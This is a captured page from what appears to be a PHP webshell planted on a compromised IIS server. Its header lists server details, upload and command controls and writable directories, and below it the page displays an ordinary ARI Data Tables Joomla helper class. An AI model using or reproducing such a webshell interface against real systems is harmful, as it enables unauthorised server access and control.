403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/rescommittee/modules/mod_aridatatables/includes/kernel/DataTables/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/rescommittee/modules/mod_aridatatables/includes/kernel/DataTables/class.DataTables.php
<?php
/*
 * ARI Data Tables
 *
 * @package		ARI Data Tables
 * @version		1.0.0
 * @author		ARI Soft
 * @copyright	Copyright (c) 2010 www.ari-soft.com. All rights reserved
 * @license		GNU/GPL (http://www.gnu.org/copyleft/gpl.html)
 * 
 */

defined('ARI_FRAMEWORK_LOADED') or die('Direct Access to this location is not allowed.');

AriKernel::import('Utils.Utils');
AriKernel::import('Document.DocumentHelper');

jimport('joomla.filter.filterinput');
jimport('joomla.utilities.arrayhelper');

class AriDataTablesHelper
{
	public static function getProtocol()
	{
		static $protocol;
		
		if (is_null($protocol))
		{
			$uri = JURI::getInstance();
			$protocol = $uri->toString(array('scheme'));
		}
		
		return $protocol;
	}
	
	public static function includeGoogleAPI()
	{
		static $loaded;
		
		if ($loaded)
			return ;
			
		AriDocumentHelper::includeJsFile(self::getProtocol() . 'www.google.com/jsapi');
			
		$loaded = true;
	}
	
	public static function includeJQuery($loadJQuery, $noConflict, $params)
	{
		static $loaded;

		if ($loaded)
			return ;

		$baseUri = JURI::root(true) . '/modules/mod_aridatatables/includes/js/';
		if ($loadJQuery) 
		{
			$loadJQueryMethod = AriUtils::getParam($params, 'loadJQueryMethod', 'google_cdn');
		
			if ($loadJQueryMethod == 'local')
			{
				if (J3_0)
					JHtml::_('jquery.framework', $noConflict);
				else
					AriDocumentHelper::includeJsFile($baseUri . 'jquery.min.js');
			}
			else
			{
				AriDocumentHelper::includeJsFile('//ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js');
			}
			
			if ($noConflict)
			{
				if (!J3_0 || $loadJQueryMethod != 'local')
					AriDocumentHelper::includeJsFile($baseUri . 'jquery.noconflict.js');
			}
			
			$loaded = true;
		}
	}
	
	public static function includeJQueryUITheme($theme = 'smoothness')
	{
		static $loadedThemes = array();

		$filter = JFilterInput::getInstance();
		$theme = $filter->clean($theme, 'WORD');
		if (empty($theme))
			$theme = 'smoothness';
			
		if (in_array($theme, $loadedThemes))
			return ;

		$themeUri = JURI::root(true) . '/modules/mod_aridatatables/includes/assets/jui/' . $theme . '/style.css';
		AriDocumentHelper::includeCssFile($themeUri);
			
		$loadedThemes[] = $theme;
	}
	
	public static function includeAssets()
	{
		static $loaded;

		if ($loaded)
			return ;
			
		$baseUri = JURI::root(true) . '/modules/mod_aridatatables/includes/assets/';
		AriDocumentHelper::includeCssFile($baseUri . 'style.css');
		AriDocumentHelper::includeJsFile($baseUri . 'common.js');
		
		$loaded = true;
	}

	public static function includeSpecificStyles($params, $columnsSettings, $disableColumnsWidth = false)
	{
		$tableParams = $params['table'];
		$id = $tableParams['id'];
		
		$cssStyles = sprintf('#%1$s { width: %2$s; border-collapse: %3$s; border-width: %4$spx; border-spacing: %6$spx;} #%1$s th, #%1$s td { padding: %5$dpx; }',
			$id,
			!empty($tableParams['width']) ? $tableParams['width'] : '100%',
			!empty($tableParams['borderCollapse']) ? $tableParams['borderCollapse'] : 'separate',
			intval($tableParams['border'], 10),
            intval($tableParams['padding'], 10),
            intval($tableParams['spacing'], 10)
        );
        
		if ($columnsSettings)
		{
			foreach ($columnsSettings as $colParam)
			{
				$colStyle = '';
				if (!empty($colParam['align']) && $colParam['align'] != 'none')
					$colStyle .= 'text-align:' . $colParam['align'] . ';';
					
				if (!$disableColumnsWidth && !empty($colParam['width']))
				{
					$width = $colParam['width'];
					if ($width == '' . intval($width, 10))
						$width .= 'px';
					$colStyle .= 'width:' . $width . ';';
				}

				if ($colStyle)
				{
					$colClassName = self::getColClass($colParam['id']);
					$cssStyles .= sprintf('#%1$s TBODY TD.%2$s,#%1$s TBODY TH.%2$s,#%1$s TBODY TD DIV.%2$s {%3$s}',
						$id,
						$colClassName,
						$colStyle);
				}
			}
		}
			
		$customStyles = $params['_default']['styles'];
		if ($customStyles)
			$cssStyles .= ' ' . str_replace('{$id}', '#' . $id, $customStyles);
		
		$document = JFactory::getDocument();
		$document->addStyleDeclaration($cssStyles);
	}
	
	public static function getColumnsSettings($colParams, $dataRow = array())
	{
		$colParams = $colParams ? json_decode($colParams, true) : null;
		if (is_null($colParams))
			return $colParams;
			
		$fixedParams = array();
		$keys = is_array($dataRow) ? array_keys($dataRow) : array();
		foreach ($colParams as $colParam)
		{
			if (!isset($colParam['id']) || is_null($colParam['id']) || strlen($colParam['id']) == 0)
				continue ;
				
			$idx = -1;
			$id = $colParam['id'];
			if ($id == '' . intval($id, 10))
			{
				$idx = $colParam['id'] = intval($id, 10);
			}
			else 
			{
				$idx = array_search($colParam['id'], $keys);
				if ($idx === false)
					$idx = -1;
			}
			
			$colParam['idx'] = $idx;

			if (empty($colParam['class']))
				$colParam['class'] = '';
				
			if (!empty($colParam['format']))
				$colParam['format'] = trim($colParam['format']);

			$colParam['class'] .= ' ' . self::getColClass($colParam['id']);
			$fixedParams[$colParam['id']] = $colParam;
		}
		
		return count($fixedParams) > 0 ? $fixedParams : null;
	}
	
	public static function getHiddenColumns($dataRow, $columnsSettings)
	{
		$hiddenColumns = array();
		
		if (empty($dataRow) || empty($columnsSettings))
			return $hiddenColumns;

		$keys = array_keys($dataRow);
		foreach ($columnsSettings as $key => $colSettings)
		{
			if (empty($colSettings['hidden']))
				continue ;

			if (is_int($key))
				$hiddenColumns[] = $key;
			else 
			{
				$idx = array_search($key, $keys);
				if ($idx !== false)
					$hiddenColumns[] = $idx;
			}
		}
		
		$hiddenColumns = array_unique($hiddenColumns);
		sort($hiddenColumns);
		
		return $hiddenColumns;
	}
	
	public static function recalculateIndex($index, $hiddenColumns)
	{
		if (!is_array($hiddenColumns) || count($hiddenColumns) == 0)
			return $index;

		$diff = 0;
		foreach ($hiddenColumns as $hiddenColumn)
		{
			if ($hiddenColumn >= $index)
				break ;

			++$diff;
		}
		
		return $index - $diff;
	}
	
	public static function getColumnSettings($columnsSettings, $key, $idx)
	{
		$colSettings = null;
		if (empty($columnsSettings))
			return $colSettings;

		if (array_key_exists($key, $columnsSettings))
			$colSettings = $columnsSettings[$key];
		else if (array_key_exists($idx, $columnsSettings))
			$colSettings = $columnsSettings[$idx];
			
		return $colSettings;
	}
	
	public static function getColClass($id)
	{
		return 'col_' . substr(md5($id), 0, 8);
	}
	
	public static function getDataModel($model, $params)
	{
		return self::getModel($model, $params, 'DataTablesData');
	}
	
	public static function getWidgetModel($model, $params)
	{
		return self::getModel($model, $params, 'DataTablesWidget');
	}
	
	public static function getModel($model, $params, $prefix = 'DataTables')
	{
		$modelInstance = null;
		$modelParams = isset($params[$model]) ? $params[$model] : null;
		$filter = JFilterInput::getInstance();
		$model = ucfirst($filter->clean($model, 'WORD'));
		if (empty($model))
		{
			return $modelInstance;
		}
		else
		{
			$modelName = $prefix . $model . 'Model';
			$modelPath = dirname(__FILE__) . '/Models/class.' . $modelName . '.php';

			if (!@file_exists($modelPath))
			{
				return $modelInstance;
			}
			else
			{
				AriKernel::import('DataTables.Models.' . $modelName);

				$modelClass = 'Ari' . $modelName;
				$modelInstance = new $modelClass();
			}
		}
		
		return $modelInstance;
	}
	
	public static function getCacheFolder()
	{
		$cacheDir = JPATH_ROOT . '/cache/mod_aridatatables';
		$extCacheDir = $cacheDir . '/mod_aridatatables';
		
		return (@file_exists($extCacheDir) && is_dir($extCacheDir))
			? $extCacheDir
			: $cacheDir;
	}
	
	public static function cleanValue($value)
	{
		if (strpos($value, '_') === false)
			return $value;
			
		$value = explode('_', $value);
		return $value[count($value) - 1];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit